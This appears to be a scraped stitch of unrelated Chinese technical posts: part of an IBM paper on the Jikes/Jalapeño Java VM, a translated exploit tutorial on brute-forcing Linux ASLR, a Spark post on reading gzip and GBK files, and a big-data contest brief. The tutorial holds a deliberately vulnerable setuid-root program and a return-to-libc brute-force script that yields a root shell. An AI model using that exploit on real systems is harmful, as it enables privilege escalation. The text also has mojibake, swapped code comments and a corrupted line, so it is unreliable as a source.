分享是有价值的一件事,如果园友在遇到相同问题的时候,可以 Google 到这篇博文,那写这篇博文也就值了。
本文转自田园里的蟋蟀博客园博客,原文链接:http://www.cnblogs.com/xishuai/p/gitlab-ci.html,如需转载请自行联系原作者
Jikes 研究虚拟机(RVM)五 结论
相关工作
用 Java 代码实现一个 Java 虚拟机和它的相关子系统(包括优化编译器)提出了几个挑战。Taivalsaari 36 也描述了一个“用 Java 写 Java”的 JVM 实现,设计它是为了检查用 Java 写的高质量的虚拟机的可行性。这个方案的一个缺点是它运行在另一台 JVM 上,这增加了性能开销,因为有两级解释过程。麻省理工学院(Massachusetts Institute of Technology(MIT))的 Rivet JVM 37 也运行在另一台 JVM 上面。通过自举系统,我们的方案不需要另一台 JVM(请参阅 附录 B)。IBM VisualAge for Java 38 的 JVM 是用 Smalltalk 写的。其它的 JVM 39 是用本机代码写的。
最令人兴奋的传统 JVM 可能是 HotSpot。 40 HotSpot 的对象模型和 Jalape�o 的有点相似:对象直接被引用(而不是通过句柄)而且对象有一个两个字的头。在两个模型中,关于对象的类的信息都通过对象头中的引用可用。
HotSpot 最初解释字节码,编译(并内联)被频繁调用的方法。Jalape�o 的快速编译器将扮演与 HotSpot 的解释器相似的角色。其它所有都是同等的,这对 HotSpot 会带来启动方面的好处,对 Jalape�o 会带来性能方面的好处。我们不期望哪个好处会特别大,但这仍然可以看到。如果未优化的 Jalape�o 代码比解释后的 HotSpot 代码表现更好,这将允许 Jalape�o 优化编译器把更多的资源集中在它优化的代码上。用 Java 代码实现 Jalape�o 允许优化编译器内联和优化频繁被调用的运行时服务,HotSpot 通过调用本机代码(极好地优化了的 C 例程)访问这些服务。
HotSpot 把 Java 线程作为宿主操作系统线程实现。这些线程是完全抢先的。Jalape�o 调度它自己的准抢先线程。我们希望这将允许支持更多的线程、更轻量的同步和使从正常操作到垃圾回收的更平滑切换(特别是在有极多线程的情况下)。HotSpot 的每线程方法激活堆栈符合宿主操作系统的调用约定。这应会给 Jalape�o 较小的空间和性能方面的好处(尽管 Jalape�oill 在它 确实调用 C 代码时获得了性能方面的好处)。
HotSpot 和 Jalape�o 都支持类型确切的垃圾回收。Jalape�o 支持一系列内存管理器。Jalape�o 的回收器没有一个象 HotSpot 的那么成熟,但在 SMP 上,Jalape�o 的回收器并行地运行在所有可用的 CPU 上。HotSpot 使用一个带有针对主要回收的“标记并压缩”繁衍方案。为尽可能减少暂停时间,HotSpot 可以使用一个增量的“火车(train)” 回收器。 44 这个回收器执行频繁的短回收。注意,这将加剧任何的过渡到回收(transition-to-collection)延迟。
我们没有关于 HotSpot 的锁定机制的信息。
Squeak 45 是一个用 Smalltalk 写的 Smalltalk 虚拟机。它通过把虚拟机转换为 C 以编译和链接接来生成产品版。转换程序也是用 Smalltalk 写的。
动态编译(称为动态转换或即时编译)已经成为很多面向对象语言的以前的实现中的一个关键因素。Deutsch 和 Schiffman 的 Smalltalk-80 的高性能实现动态地把 Smalltalk 字节码转换成本机代码; 46 他们的编译器与 Jalape�o 的基线编译器非常相似。Self 语言的实现也依赖于动态编译来达到高性能。 47 Self 编译使用与 Jalape�o 的优化编译器所用的中间表示大体相当的的基于寄存器的中间表示。最近,大量 Java 语言的即时编译器已被开发出来。 31 , 48 这些编译器中,有一些编译器把字节码转换成三地址代码,进行简单的优化和寄存器分配,然后就生成目标机器代码。
DAISY 49 是一个 VLIW(very long instruction word(超长指令字))仿真器,它“快速”地把不同体系结构指令集,包括 Java 字节码,转换成 VLIW 体系结构。它使用 VLIW 类似于树的表示以进行指令调度和寄存器分配。
很多以前的系统使用了动态编译的更专门的形式,以通过使用“运行时常数”来有选择地优化程序的“热点”。 50 一般来说,这些系统都强调极其快速的动态编译,经常执行大量的脱机预计算,以避免构造正在编译的程序片段的任何显式表示。
有大量的工作用于处理特定于面向对象语言的优化,例如类分析(过程内的 54 和过程间的 55 ),类层次结构分析和优化 56 , 57 ,接收器类预测 46 , 58 , 59 ,方法规范 56 和调用图构造。 55 其它与 Java 编译有关的优化包括边界检查清除 60 和语义扩展。 22
结论
用于 Java 服务器的 Jalape�o 的虚拟机是用 Java 语言编写的。传统上用本机方法支持的运行时服务主要地用 Java 代码实现。
Jalape�o 的对象布局支持单指令字段访问,对数组元素的三指令访问,硬件空指针检查和四指令虚方法调度。通过全局 JTOC 数组快速访问静态字段和方法也实现了。
Jalape�o 的线程通过虚拟处理器进行多路复用。线程切换是准抢先的。三个不同的锁定机制提供了轻量级同步,而不用操作系统支持。
Jalape�o 的内存管理子系统支持一系列内存管理器,每个内存管理器由一个并发对象分配器和一个并行的、类型确切的、停住一切的垃圾回收器组成。繁衍的和不繁衍的,拷贝的和非拷贝的管理器都被支持。增量及并发回收器正在研究之中。
Jalape�o 的三个可互操作的编译器提供了不同级别的动态优化,确保了实时的线程抢先,并且生成了支持异常处理、堆栈中的调用的位置和调试的表。
Jalape�o 的优化编译器为已被识别为频繁执行或计算密集的方法产生优质代码。需被再次编译的方法将根据运行时配置动态地选择。
我们已经证明了用 Java 语言为 Java 服务器构建虚拟机的可行性。我们尚未证明这样一个虚拟机能达到并保持世界级的性能。我们正在为此努力。
附录 A:MAGIC
为分配一个对象,Jalape�o 的内存管理器必须访问原始内存以获得要求大小的一块可用空间。它们“遍历”线程堆栈以识别堆栈帧中的对象引用。拷贝管理器在垃圾回收期间访问对象头以标记对象,访问原始内存以拷贝一个对象。异常处理要求非结构化的传送控制以转到适当的 catch块(“go to”在 Java 语言中是禁止的)。静态数据和方法通过一个专用的机器寄存器访问,不能从 Java 指令访问这个专用寄存器。输入和输出要求访问 Java 语言不知道的操作系统服务。线程切换依赖于接收到来自操作系统的周期性中断。Jalape�o 的锁定机制是用 PowerPC 指令实现的,这些指令无法表达成 Java 字节码。不打破 Java 的编程模型,这些操作都无法进行。
为实现 Jalape�o Java 代码,有必要增加 Java 的功能,以包含本机方法传统上要求的功能:
调用操作系统服务
使用特定于体系结构的机器指令
访问机器寄存器和内存
强制对象引用原始地址, 反之亦然
把执行转到任意地址
Jalape�o 必须要有这些功能,但 Jalape�o 也必须防止用户应用程序能使用这些功能。
在专门的 MAGIC 类的帮助下,Jalape�o 的编译器支持这些违例。这个类的方法符合 Java 外部操作,Jalape�o 必须能够执行这些操作。这些方法的体是空的。Java 的源代码编译器能够编译它们。但是,Jalape�o 的编译器忽略这些结果字节码。而且,这些编译器识别出 MAGICR 类的名字并内联地插入必需的机器代码。为确认用户代码未违背 Java 的约束,当 Jalape�o 的编译器碰到调用一个 MAGIC 方法时,它们将验证正在编译的方法是 JVM 的一个已授权的部分。
需要使用 MAGIC 类的代码在这样做时需特别小心。将要讲述的规则就是一个原因。某些操作要格外小心。涉及原始地址的计算尤其微妙。MAGIC 方法 objectAsAddress 把对象引用转换成原始地址(一个整数)。例如,在进行动态链接时就需要这个功能。然而,它也是有问题的。Jalape�o 的拷贝内存管理器在移动所引用的对象时会更新对象引用,但原始地址却未被更新。在进行涉及原始地址的计算时,为避免垃圾回收的发生,必须很小心,以免拷贝回收器使这些地址无效。这通过调用一个能禁用垃圾回收的方法来避免。
已经禁用了垃圾回收的线程不能试图创建一个对象,因为如果内存不足,系统将会挂起。(注意,其它线程可以自由申请内存。如果无法得到内存,则这些线程被延迟,而且一旦垃圾回收被重新启用,就将开始进行一个回收。)这个约束有一些微妙的牵连。类不能被装入,因为对象是在类装入期间创建的。这意味着必须避免动态链接。类型的强制转型(和存储到对象数组)也不允许,因为这可能也要求类装入。类似地,如果线程试图进入一个共享对象的一个管程,而这个管程当前正被一个正在等待垃圾回收的线程占有,那么系统将陷入死锁。因此,线程在进行涉及原始地址的计算时,必须严格限制在 Java 功能的子集内。
就线程当它的垃圾回收被禁用时进行让出(显式地或隐式地)来说,也会有点问题。这样一个让出可能会任意地延迟所需的垃圾回收。当线程的垃圾回收被禁用时,隐式线程切换被延迟(而显式线程切换被禁止)。
Jalape�o 系统中大约有 650 个 Java 类,其中大约有 110 个访问了 MAGIC 类。其中只有 12 个类要求禁用垃圾回收。
附录 B:开始
一组相当坚实的服务 ― 一个类装入器,一个对象分配器,一个编译器 ― 在 JVM 能够装入正常操作所需的所有剩余服务之前就必须已经存在。用本机代码编写的 JVM 的初始服务,或者运行在另一台 JVM 上的 JVM,都从底层运行时例程可用。Jalape�o 不是用本机代码编写的,它没有底层运行时例程。因此,我们把基本的核心服务装配进一个可执行 引导映象,这个引导映象先于 JVM 运行。这个引导映象是 Jalape�o 虚拟机的一个快照,它被写入到一个文件中。随后,这个文件被装入内存并执行。
引导映象由一个名为 引导映象编写器(boot-image writer)的 Java 程序创建。引导映象编写器构造运行中的 Jalape�o 虚拟机的实体模型(mock-up),然后把它包装进引导映象。引导映象编写器是一个普通的 Java 程序,它可以在任何 JVM 上运行。运行引导映象编写器的 JVM 将被称为 源 JVM,而产生的结果 Jalape�o 虚拟机则称为 目标JVM。
引导映象编写器类似于一个交叉编译器和链接器:它把字节码编译成机器码并重写机器地址以把程序组件绑定进可运行映象。然而,由于 Jalape�o 的编译器、类装入器和运行时数据结构都是 Java 代码形式,而不似多数编译器,所以引导映象编写器也必须把“活动”对象绑定进引导映象。
引导映象编写器在源 JVM 中实例化 Java 对象,这些对象表示了目标 JVM。然后,它使用 Java 内置的反射功能把这些实体模型对象从源 JVM 的对象模型转换为 Jalape�o 的对象模型。引导映象编写器和这种自引用特征使得它相对简单 ― 它实际上只是一个对象模型转换器。
由于 Jalape�o 是一个 Java 程序,所以它的每个组件都是一个 Java 对象,而且,通过在 Jalape�o 的每个主子系统中执行专门的初始化方法,引导映象编写器能够构造其实体模型。定制的类装入器确保了执行这些代码所需的任何类都既装入到了源 JVM 中,也装入到了实体模型中。当装入一个类时,类的方法被编译(由运行在源 JVM 中的 Jalape�o 的编译器执行)并被包含进实体模型。
要成功实施把类同时装入源 JVM 和它的目标 JVM 的实体模型的策略,就需要一个完整的类列表。如果当 Jalape�o 开始运行时,核心运行时环境的一个方法引用了不在引导映象中的任何类,则将产生无穷递归的结果:运行时环境要求装入它自己的一部分以装入它自己的一部分 ― 等等。
通过仔细的计划和反复试验,我们解决了判断实体模型中最少需要哪些类以阻止这种情形的问题。Jalape�o 的所有核心类都以 VM 为前缀命令。这里是提供使虚拟机能执行编译、内存管理和动态类装入的充足机器所需的类。这个专门的前缀由 Jalape�o 的编译器识别并用于抑制正常的动态链接规则:编译器从不在有这个前缀的类的方法之间生成动态链接代码。小心地编写核心类以避免对 Java 库类的不必要使用。这些基础类 ― java.lang.Object、java.lang.Class、java.lang.String 和一些 I/O 类 ― 是绝不可以排除在外的。VM_ 类和这些基础 Java 类构成了我们认为有必要在引导映象中出现的类的启动集。
然后通过反复试验识别出另外一小部分依赖(例如,Integer、Float、Double 和各种数组和异常类)。我们编译一个引导映象并试图执行它。如果它在试图(递归地)装入类 X时崩溃了,那我们就把 X 添加到写入引导映象的类的列表,并反复进行这个过程。这个过程集中进行了少数重试,也不证明一旦 VM_ 类的实现隐定了,这会成为一个维护问题。
实体模型在完成之后被转换成引导映象。这包括查找实体模型中的所有对象,把它们转换成 Jalape�o 的对象格式并存储进 引导映象数组。运行中的 Jalape�o 虚拟机的所有组件都可以从一个 JTOC 数组中获得(请参阅静态字段和方法部分)。在实体模型中,JTOC 被编码成三个并行的数组:一个整数数组(用于原始值),一个对象实例数组(用于引用)和一个用于区分这两个数组的布尔数组。JTOC 数组的结构被递归地遍历,所碰到的值(引用的和原始的)被转换到引导映象数组。由于每个装入类的类型信息块(请参阅对象头部分)都从 JTOC 引用,所以所有必需的编译后的方法体都将被包含到引用映象中。
这个转换过程使用了映象。引导映象为实体模型中的每个对象获得 java.lang.Class 对象并在由 getFields 方法返回的字段上反复进行一些操作。对每一个字段,它从源对象抽取字段值,从对象的 Jalape�o 类描述中抽取目标字段偏移量。然后,它把位于从对象的索引偏移该偏移量的值写入引导映象。当碰到对象引用时,我们不能使用来自实体模型的任何值。通过用一个作为分配到的引导映象维护的散列表,实体模型中的引用被转换成引导映象地址。(包含引导映象中的所有引用的地址的数组可以被包含进引导映象,以支持引导映象的重定位。)
总的来说,引导映象编写器一个字段一个字段地拷贝 Java 对象,从实体模型到引导映象,同时从源 JVM 的对象模型转换到目标 JVM 的对象模型。有赖于 Java 的映象功能,我们碰上了一个麻烦:Sun 的 Java 开发包(Java Development Kit),版本 1.1.4 不允许对私有字段的反射访问。这在 Java 2 软件开发包(Java 2 Software Development Kit)中不是一个问题,这个开发包允许这样的访问。通过预处理类文件,关掉私有位,我们在更早的版本中就解决了这个问题。
除了能从 JTOC 数组中访问的对象外,引导映象中还需要另外两个对象:一个初始线程对象和一个“引导记录”。初始线程对象包含一个空堆栈,它已为在 Jalape�o 启动时运行 boot( ) 方法的第一条指令准备就绪;“引导记录”是引导映象和引导映象运行器(稍后论述)之间的接口。这个引导记录包含映象中的开始、结束和最后使用的地址,也包含用于启动 Jalape�o 的四个寄存器值,boot( ) 方法的地址和 AIX 系统调用的地址。当这些值被存储到引导映象数组时,这个引导记录被写到磁盘上。
一个称为 引导映象运行器的短小程序启动 Jalape�o 的运行。它把引导映象读进内存,把四个寄存器设置为指定值并转到 boot( ) 方法分支。引导映象是用 C(带有一些汇编程序以设置寄存器和执行最后的分支)写的,不是 Java 代码,所以 它不需要在 JVM 上运行。
当 boot( ) 方法开始执行时,虚拟机处在一个脆弱状态:它能够运行机器指令的单个线程,但它还未创建支持它自己的执行所需的外部操作系统资源。引导映象无法创建这些操作系统资源,因为这些资源要引用外部状态,而这些状态将不存在,一直到引导映象执行。因此,Jalape�o 必须执行另外的初始化。
在引导期间,虚拟机初始化特定于硬件的地址(例如,它将最终在自己的堆栈上建立硬件监视页),打开与 Java 库的 System.in、System.out 和 System.error 流对象相对应的文件,分析命令行参数并创建与一个与当前执行环境相对应的 System.Properties 对象。然后,通过创建充当虚拟处理器的操作系统线程初始化多线程子系统,Java 线程在虚拟处理器上多路复用。最后,启用定时器中断以支持线程抢先,生成一个 Java 线程以运行命令行指定的应用程序。
Jalape�o 运行直到最后一个(非守护)Java 线程终止或调用了 System.exit( )。
参考资料
您可以参阅本文在 developerWorks 全球站点上的 英文原文.
请参阅 引用的参考书和注释。
阅读 IBM 系统杂志中对当前问题有兴趣的其它文章。
在 IBM 技术杂志Web 站点上查找其它的技术出版物。
作者简介
B. Alpern has co-authored this article
C. R. Attanasio has co-authored this article
J. J. Barton has co-authored this article
M. G. Burke has co-authored this article
P. Cheng has co-authored this article
J.-D. Choi has co-authored this article
A. Cocchi has co-authored this article
S. J. Fink has co-authored this article
D. Grove has co-authored this article
M. Hind has co-authored this article
S. F. Hummel has co-authored this article
D. Lieber has co-authored this article
V. Litvinov has co-authored this article
M. F. Mergen has co-authored this article
T. Ngo has co-authored this article
J. R. Russell has co-authored this article
V. Sarkar has co-authored this article
M. J. Serrano has co-authored this article
J. C. Shepherd has co-authored this article
S. E. Smith has co-authored this article
V. C. Sreedhar has co-authored this article
H. Srinivasan has co-authored this article
J. Whaley has co-authored this article
Linux (x86) Exploit 开发系列教程之七 绕过 ASLR -- 第二部分
绕过 ASLR – 第二部分
译者:飞龙
原文:Bypassing ASLR – Part II
本文承接 @hackyzh 翻译的第六篇。
预备条件:
经典的基于栈的溢出
VM 配置:Ubuntu 12.04 (x86)
这篇文章中,让我们看看如何使用爆破技巧,来绕过共享库地址随机化。
什么是爆破?
在这个技巧中,攻击者选择特定的 Libc 基址,并持续攻击程序直到成功。假设你足够幸运,这个技巧是用于绕过 ASLR 的最简单的技巧。
漏洞代码:
//vuln.c
#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[]) {
char buf[256];
strcpy(buf,argv[1]);
printf("%s\n",buf);
fflush(stdout);
return 0;
}
编译命令:
#echo 2 > /proc/sys/kernel/randomize_va_space
$gcc -fno-stack-protector -g -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln
让我们来看看,攻击者如何爆破 Libc 基址。下面是(当随机化打开时)不同的 Libc 基址:
$ ldd ./vuln | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75b6000)
$ ldd ./vuln | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7568000)
$ ldd ./vuln | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7595000)
$ ldd ./vuln | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75d9000)
$ ldd ./vuln | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7542000)
$ ldd ./vuln | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb756a000)
$
上面展示了,Libc 随机化仅限于 8 位。因此我们可以在最多 256 次尝试内,得到 root shell。在下面的利用代码中,让我们选择0xb7595000作为 Libc 基址,并让我们尝试几次。
利用代码:
#exp.py
#!/usr/bin/env python
import struct
from subprocess import call
libc_base_addr = 0xb7595000
exit_off = 0x00032be0 #Obtained from "readelf -s libc.so.6 | grep system" command.
system_off = 0x0003f060 #Obtained from "readelf -s libc.so.6 | grep exit" command.
system_addr = libc_base_addr + system_off
exit_addr = libc_base_addr + exit_off
system_arg = 0x804827d
#endianess convertion
def conv(num):
return struct.pack("<I",numystem + exit + system_arg
buf = "A" * 268
buf += conv(system_addr)
buf += conv(exit_addr)
buf += conv(system_arg)
print "Calling vulnerable program"
#Multiple tries until we get lucky
i = 0
while (i < 256):
print "Number of tries: %d" %i
i += 1
ret = call(["./vuln", buf])
if (not ret):
break
else:
print "Exploit failed"
运行上面的利用代码,我们会得到 root shell(在下面展示):
$ python exp.py
Calling vulnerable program
Number of tries: 0
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`@]��{\�}�
Exploit failed
...
Number of tries: 42
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`@]��{\�}�
Exploit failed
Number of tries: 43
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`@]��{\�}�
# id
uid=1000(sploitfun) gid=1000(sploitfun) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun)
# exit
$
注意:也可以爆破类似的栈和堆段的地址。
Spark读取压缩文件
版权声明:本文由董可伦首发于https://dongkelun.com,非商业转载请注明作者及原创出处。商业转载请联系作者本人。 https://blog.csdn.net/dkl12/article/details/80588445
我的原创地址:https://dongkelun.com/2018/05/30/sparkGZ/
前言
本文讲如何用spark读取gz类型的压缩文件,以及如何解决我遇到的各种问题。
1、文件压缩
下面这一部分摘自Spark快速大数据分析:
在大数据工作中,我们经常需要对数据进行压缩以节省存储空间和网络传输开销。对于大多数Hadoop输出格式来说,我们可以指定一种压缩编解码器来压缩数据。
选择一个输出压缩编解码器可能会对这些数据以后的用户产生巨大影响。对于像Spark 这样的分布式系统,我们通常会尝试从多个不同机器上一起读入数据。要实现这种情况,每个工作节点都必须能够找到一条新记录的开端。有些压缩格式会使这变得不可能,而必须要单个节点来读入所有数据,这就很容易产生性能瓶颈。可以很容易地从多个节点上并行读取的格式被称为“可分割”的格式。下表列出了可用的压缩选项。
格式
可分割
平均压缩速度
文本文件压缩效率
Hadoop压缩编解码器
纯Java实现
原生
备注
gzip
否
快
高
org.apache.hadoop.io.compress.GzipCodec
是
是
lzo
是(取决于所使用的库)
非常快
中等
com.hadoop.compression.lzo.LzoCodec
是
是
需要在每个节点上安装LZO
bzip2
是
慢
非常高
org.apache.hadoop.io.compress.Bzip2Codec
是
是
为可分割版本使用纯Java
zlib
否
慢
中等
org.apache.hadoop.io.compress.DefaultCodec
是
是
Hadoop 的默认压缩编解码器
Snappy
否
非常快
低
org.apache.hadoop.io.compress.SnappyCodec
否
是
Snappy 有纯Java的移植版,但是在Spark/Hadoop中不能用
尽管Spark 的textFile() 方法可以处理压缩过的输入,但即使输入数据被以可分割读取的方式压缩,Spark 也不会打开splittable。因此,如果你要读取单个压缩过的输入,最好不要考虑使用Spark 的封装,而是使用newAPIHadoopFile 或者hadoopFile,并指定正确的压缩编解码器。
关于上面一段话的个人测试:选取一个大文件txt,大小为1.5G,写spark程序读取hdfs上的该文件然后写入hive,经测试在多个分区的情况下,txt执行时间最短,因为在多个机器并行执行,而gz文件是不可分割的,即使指定分区数目,但依然是一个分区,一个task,即在一个机器上执行,bzip2格式的文件虽然是可分割的,即可以按照指定的分区分为不同的task在多个机器上执行,但是执行时间长,比gz时间还长,经过四次改变bzip2的分区,发现最快的时间和gz时间是一样的,如果指定一个分区的话,比gz要慢很多,我想这样就可以更好的理解:”尽管Spark 的textFile() 方法可以处理压缩过的输入,但即使输入数据被以可分割读取的方式压缩,Spark 也不会打开splittable”这句话了。
后续测试:根据集群的cpu合理分配executor的个数的情况下,txt的时间缩短到1分钟,bzip2缩短到1.3分钟,而对gz重新分区(reparation)缩短到2分钟,可以看到在合理分配资源的情况下,bzip2比gz快不少,但依然赶不上txt,当然这也的结果可能受文件大小和集群资源的限制,所以根据自己的实际需求测试再决定用哪个即可。
2、代码
代码很简单,用textFile()即可,假设,我的数据名为data.txt.gz,我把它放在hdfs上的/tmp/dkl路径下那么代码为:
val path = "hdfs://ambari.master.com:8020/tmp/dkl/data.txt.gz"
val data = sc.textFile(path)
注:把数据放在hdfs的命令为
hadoop fs -put data.tar.gz /tml/dkl
3、一些小问题
3.1 数据
首先造几个数据吧,先创建一个txt,名字为data.txt,内容如下
1 张三 上海 2018-05-25
2 张三 上海 2018-05-25
3 张三 上海 2018-05-25
4 张三 上海 2018-05-25
5 张三 上海 2018-05-25
3.2 如何压缩
那么如如何打包为gz格式的压缩文件呢,分两种
一、 在windows上打包,如果不想在Linux服务器上用命令打包,那么可以直接用windows上的软件打包(win上常见的zip,rar格式,spark是不支持的),我用7-zip软件压缩,大家可百度7-zip或直接在https://www.7-zip.org/下载安装,压缩格式选gzip即可。
二、 在Linux上压缩,可通过下面的命令
1、保留原文件
gzip –c data.txt > data.txt.gz
2、不保留原文件,默认生成的文件名为原文件名.gz,即data.txt.gz
gzip data.txt
压缩完了之后,跑一下程序测试一下
data.take(3).foreach(println)
1 张三 上海 2018-05-25
2 张三 上海 2018-05-25
3 张三 上海 2018-05-25
根据结果看没问题。
三、 说明
在Linux上用tar命令压缩,spark虽然可以读,但是第一行会有文件信息
tar -zcvf data.tar.gz data.txt
3.3 文件编码问题
别人给我的原文件是.rar,那我需要将其解压之后得到txt,然后按照上述方式压缩为.gz,然后上传到hdfs,进行代码测试,打印前几条发现乱码,查了一下发现原文件是gbk编码的,且sc.textFile()不能指定编码,只能读取utf8格式,其他格式就会乱码。
注意:因为实际情况下解压后的txt文件很大,windows是直接打不开的,所以不能通过打开文件修改编码的方法去解决。
3.3.1 构建测试gbk格式的文件
1、windows上可以用记事本打开,另存为,编码选择ANSI即可
2、Linux可以通过下面的命令修改
iconv -f utf8 -t gbk data.txt > data_gbk.txt
测试一下输出,发现确实乱码了(直接测试txt即可)
1 ���� �Ϻ� 2018-05-25
2 ���� �Ϻ� 2018-05-25
3 ���� �Ϻ� 2018-05-25
3.3.2 代码解决
通过如下代码测试即可
定义方法
import org.apache.spark.rdd.RDD
import org.apache.spark.SparkContext
import org.apache.hadoop.io.LongWritable
import org.apache.hadoop.mapred.TextInputFormat
import org.apache.hadoop.io.Text
def transfer(sc: SparkContext, path: String): RDD[String] = {
sc.hadoopFile(path, classOf[TextInputFormat], classOf[LongWritable], classOf[Text], 1)
.map(p => new String(p._2.getBytes, 0, p._2.getLength, "GBK"))
}
测试方法
transfer(sc, path3).take(3).foreach(println)
参考:Spark Scala 读取GBK文件的方法
3.3.3 Linux命令
可直接通过Linux命令转换txt的编码格式,再压缩,这样代码就不用修改
其实在3.2.1中已经涉及到了
1、通过Linux自带的命令iconv
iconv不能覆盖原来的文件,只能生成新的文件之后,再通过mv命令去覆盖
iconv -f gbk -t utf8 data_gbk.txt > data_new.txt
2、通过enca
enca可以直接覆盖原来的文件,这样如果不想改变来的文件名,就少一步mv操作了,enca不是子系统自带的,需要自己下载安装,可在http://dl.cihar.com/enca/下载最新版本。
#下载&解压
wget http://dl.cihar.com/enca/enca-1.19.tar.gz
tar -zxvf enca-1.19.tar.gz
cd enca-1.19
#编译安装
./configure
make
make install
安装好了之后通过下面的命令转换即可
enca -L zh_CN -x UTF-8 data_gbk.txt
转换编码格式之后,在通过程序测试即可。
参考:linux 下的文件编码格式转换
3.4 rdd换df
由于文件过大,不能直接打开看也没用垃圾数据,造成格式问题,如果有垃圾数据,在rdd转df的过程中会产生异常,这里记录一下我碰见的问题。
1、首先可以先打印出前几行数据查看一下该文件的大体格式
2、碰到的一个一个异常
代码用的旧版spark(1.6版本) 将rdd动态转为dataframe里面的方法。
if (assertnotnull(input[0, org.apache.spark.sql.Row, true]).isNullAt) null else staticinvoke(class org.apache.spark.unsafe.types.UTF8String, StringType, fromString, validateexternaltype(getexternalrowfield(assertnotnull(input[0, org.apache.spark.sql.Row, true])....
原因是因为文件里有一行数据为垃圾数据,这行数据的列数和列名的个数不一样导致的,可以在代码中过滤掉这样数据即可。
.filter(_.length == colName.length)
天翼杯大数据算法应用大赛
代码:https://github.com/jinhang/TianYiBeiBigDataMatch
一、赛题 根据前7周用户访问十个视频网站数据及其他上网行为数据,预测用户第8周访问十个视频网站的访问量——选手提交每个userid第八周每天分别访问十个视频网站的次数。
二、赛题数据格式说明 第二赛段赛题数据(PaaS平台目录名:game-data)包括两个部分: 1. 十个视频网站数据,PaaS平台目录名:video-visit-data; 2. 其他上网行为数据,PaaS平台目录名:user-behavior-data。 请注意: Ø 以上数据均以0.5小时为粒度统计,即:每0.5小时对用户访问量进行一次汇总; Ø 本次赛题共抽取了299933个用户的数据; Ø 赛题数据总大小为25.38G,其中十个视频网站数据大小为0.38G,其他上网行为数据大小为25G。
2.1 十个视频网站数据格式说明 C:UsersDellDesktop�.jpg 样例如下图所示: C:UsersDellDesktop�.jpg 2.2 其他上网行为标签数据格式说明 C:UsersDellDesktop�.jpg 样例如下图所示: C:UsersDellDesktop�.jpg
三、结果数据格式说明 选手需要将预测结果存入txt文本文件中,并采用如下格式: C:UsersDellDesktop�.jpg 说明: 1、user_id与预测结果之间用tab分隔符分割; 2、d1_v1表示第八周第一天视频网站1的访问量,访问量必须为非负整数。 3、预测结果按照日期排列由近到远,同一个日期内按照赛题给出的视频网站顺序排列,预测数据之间用逗号分割。 4、上传格式必须为txt格式,不能添加header。 样例如下图所示: C:UsersDellDesktop�.jpg 评分标准 大赛采用准确率和召回率作为排行榜的评分依据,排行榜评分由二者运算后的F1值得出,详细评分说明如下。
(1) 准确率:用于评估预测的准确度。
采用余弦相似度判断每个用户在第八周每天对十个视频网站的访问量的准确度,并除以选手预测的用户数量。 C:UsersDellDesktop�.jpg
注: N为选手预测的有访问记录的用户数量。 Similarity为每个被预测用户对10个网站7天的访问量预估的余弦相似度。若被预测的用户并未在第八周出现,则默认真实值为该用户对所有视频网站的访问量为0。 UserCount为选手预测的用户数量(包括被列出但对所有视频网站访问量为0的记录) 有访问记录,即至少存在对某一视频网站某天的访问量不为0的记录。 (2) 召回率:用于评估预测覆盖的用户数量。
C:UsersDellDesktop8.jpg 注: (a)rUserCount:为真实有访问记录的用户数量 (b)hitUserCount:预测的有访问记录的用户列表与真实有访问记录的用户列表的交集的用户个数。 (c)有访问记录,即至少存在对某一视频网站某天的访问量不为0的记录。 (3) F1值:排名所用分数。
C:UsersDellDesktop9.jpg 大赛最终将以F1值由高到低进行排名。